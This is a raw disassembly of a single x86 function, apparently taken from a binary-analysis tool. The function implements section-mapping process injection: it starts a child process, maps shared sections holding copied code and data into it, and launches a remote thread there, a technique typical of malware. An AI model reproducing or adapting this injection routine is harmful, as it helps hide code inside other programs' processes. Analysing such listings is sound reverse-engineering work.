Function at 0x40ff90
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
mov dword [ebp - 0xc], 0
push 0x44
lea eax, [ebp - 0x70]
push eax
call fcn.0041ded0
add esp, 8
mov dword [ebp - 0x70], 0x44
mov dword [ebp - 0x44], 0x81
xor ecx, ecx
mov word [ebp - 0x40], cx
mov edx, dword [ebp + 0x18]
neg edx
sbb edx, edx
and edx, 4
mov dword [ebp - 0x24], edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x70]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp - 0x24]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp + 0x10]
push ecx
push 0
call dword [0x4898a8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x410791
push 0x432ae8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x78], eax
push str.NtCreateSection
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x88], eax
push str.NtMapViewOfSection
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x90], eax
push str.RtlCreateUserThread
mov ecx, dword [ebp - 0x78]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x7c], eax
push str.NtUnmapViewOfSection
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x80], eax
push str.NtClose
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x84], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x88], 0
je 0x41075d
cmp dword [ebp - 0x90], 0
je 0x41075d
cmp dword [ebp - 0x7c], 0
je 0x41075d
cmp dword [ebp - 0x80], 0
je 0x41075d
cmp dword [ebp - 0x84], 0
je 0x41075d
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0xa0]
add ecx, 0x18
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0x91c
mov dword [ebp - 0x94], 0
push 0
push 0x8000000
push 4
lea edx, [ebp - 0x98]
push edx
push 0
push 6
lea eax, [ebp - 0x9c]
push eax
call dword [0x489850]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x41075d
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb0], 0x91c
push 4
push 0
push 2
lea ecx, [ebp - 0xb0]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0x9c]
push eax
call dword [0x489854]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x410750
mov dword [ebp - 0xb4], 0
push 4
push 0
push 2
lea ecx, [ebp - 0xb0]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [0x489854]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x41073f
mov dword [ebp - 0xc4], 0
mov edx, 0x411380
sub edx, 0x4107a0
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
push 0
push 0x8000000
push 0x40
lea edx, [ebp - 0xc0]
push edx
push 0
push 0xe
lea eax, [ebp - 0xc4]
push eax
call dword [0x489850]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x41073f
mov dword [ebp - 0xc8], 0
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0xcc], ecx
push 0x40
push 0
push 2
lea edx, [ebp - 0xcc]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp - 0xc4]
push ecx
call dword [0x489854]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x410732
mov dword [ebp - 0xd0], 0
push 0x40
push 0
push 2
lea edx, [ebp - 0xcc]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0xd0]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc4]
push edx
call dword [0x489854]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x410721
mov eax, dword [ebp - 0xb8]
push eax
push 0x4107a0
mov ecx, dword [ebp - 0xc8]
push ecx
call fcn.004228e0
add esp, 0xc
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0xd4], edx
push 0x432b54
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0xd8], eax
push 0x432b70
mov eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
push 0x432b80
mov edx, dword [ebp - 0xd8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx + 4], eax
push 0x432b90
mov edx, dword [ebp - 0xd4]
add edx, 8
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x432bac
mov eax, dword [ebp - 0xd4]
add eax, 0xd2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x432bc4
mov ecx, dword [ebp - 0xd4]
add ecx, 0x266
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432bcc
mov edx, dword [ebp - 0xd4]
add edx, 0x2ca
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432bdc
mov eax, dword [ebp - 0xd4]
add eax, 0x32e
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432be8
mov ecx, dword [ebp - 0xd4]
add ecx, 0x3f6
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432bf8
mov edx, dword [ebp - 0xd4]
add edx, 0x45a
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432c04
mov eax, dword [ebp - 0xd4]
add eax, 0x4be
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432c10
mov ecx, dword [ebp - 0xd4]
add ecx, 0x522
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432c1c
mov edx, dword [ebp - 0xd4]
add edx, 0x586
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x432c28
mov eax, dword [ebp - 0xd4]
add eax, 0x5ea
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0xe4], 0
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0xdc], edx
push 0
push 0x8000000
push 4
lea eax, [ebp - 0xe0]
push eax
push 0
push 6
lea ecx, [ebp - 0xe4]
push ecx
call dword [0x489850]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x410721
mov dword [ebp - 0xec], 0
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0xe8], edx
push 4
push 0
push 2
lea eax, [ebp - 0xe8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov edx, dword [ebp - 0xe4]
push edx
call dword [0x489854]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x410714
mov dword [ebp - 0xf0], 0
push 4
push 0
push 2
lea eax, [ebp - 0xe8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0xf0]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0xe4]
push eax
call dword [0x489854]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x410703
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xec]
push eax
call fcn.004228e0
add esp, 0xc
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xf0]
mov dword [ecx + 0x914], edx
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x918], ecx
mov dword [ebp - 0xf4], 0
mov edx, dword [ebp + 0x20]
push edx
push 0
push 1
push 0
call dword [0x4898a4]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x410703
mov dword [ebp - 0xf8], 0
push 0
lea eax, [ebp - 0xf8]
push eax
mov ecx, dword [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xd0]
push edx
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x48985c]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4106f6
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x1c]
mov dword [ecx], edx
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [edx + 4], eax
push 0xbb8
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [0x4898b4]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x102
je 0x4106c1
mov edx, dword [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x489858]
mov ecx, dword [ebp - 0xd0]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [0x489858]
mov eax, dword [ebp - 0xf0]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x489858]
mov edx, dword [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x74]
push eax
call dword [0x489858]
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x489858]
mov eax, dword [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [0x489858]
mov edx, dword [ebp - 0x9c]
push edx
call dword [0x48986c]
mov eax, dword [ebp - 0xc4]
push eax
call dword [0x48986c]
mov ecx, dword [ebp - 0xe4]
push ecx
call dword [0x48986c]
mov edx, dword [ebp - 0xf4]
push edx
call dword [0x48988c]
mov eax, 1
jmp 0x410793
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x4898c0]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x48988c]
mov edx, dword [ebp - 0x18]
push edx
call dword [0x48988c]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xf4]
push eax
call dword [0x48988c]
mov ecx, dword [ebp - 0xec]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x489858]
mov eax, dword [ebp - 0xe4]
push eax
call dword [0x48986c]
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x489858]
mov eax, dword [ebp - 0xc4]
push eax
call dword [0x48986c]
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x489858]
mov eax, dword [ebp - 0x9c]
push eax
call dword [0x48986c]
cmp dword [ebp - 0xc], 0
jne 0x410791
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x4898c0]
mov edx, dword [ebp - 0x1c]
push edx
call dword [0x48988c]
mov eax, dword [ebp - 0x18]
push eax
call dword [0x48988c]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
xor eax, eax
mov esp, ebp
pop ebp
ret